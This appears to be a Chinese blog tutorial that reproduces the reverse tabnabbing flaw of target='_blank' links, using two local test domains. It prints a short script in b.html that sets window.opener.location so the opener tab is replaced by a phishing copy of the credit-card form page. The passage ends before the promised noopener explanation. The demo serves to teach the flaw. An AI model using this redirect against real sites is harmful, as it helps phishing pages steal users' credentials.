实战重现隐藏在 A 标签 _blank 下的危险漏洞,简略说明 noopener 的作用

前几日，在看阮一峰老师的博客文章中，发现了这么一篇。标题为《target = “_blank” 的危险性（英文）》。这篇文章同事看过之后因为不理解其中的危险之处，念念不忘。于是这里我们来重现一下这个漏洞。

首先做点准备：

准备两个域名

a.com
b.com

分别解析到 127.0.0.1 配置好两个域名对应的http服务

安装好 chrome 浏览器正式开始

首先在a.com下建立1.html 写入代码

<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
         
    </head>
    <body>
        <input type="text" value="信用卡+密码表单">
        <a href="http://b.com/b.html" target="_blank" >B站</a>
    </body>
</html>

在代码中，我们建立了一个A标签，链接到B站点，地址为 http://b.com/b.html 打开方式为新标签页打开也就是target="_blank"

将这个1.html文件复制一份到b站点的目录中并修改代码为

<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        
    </head>
    <body>
        <input type="text" value="信用卡+密码表单+钓鱼页面">
        <a href="http://b.com/b.html" target="_blank" >B站</a>
    </body>
</html>

注意"钓鱼页面"部分，这里是为了区分第一个页面加的标记。准备好以后再建立一个 b.html 满足 A 标签的目标文件。

b.html 代码为

<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <script>
            function dosth(){
                window.opener.location = "http://b.com/1.html";
                alert("OK");
            }
        </script>
    </head>
    <body>
        <p>b.com</p>
        <button type="button" onclick="dosth();">js</button>
 
    </body>
</html>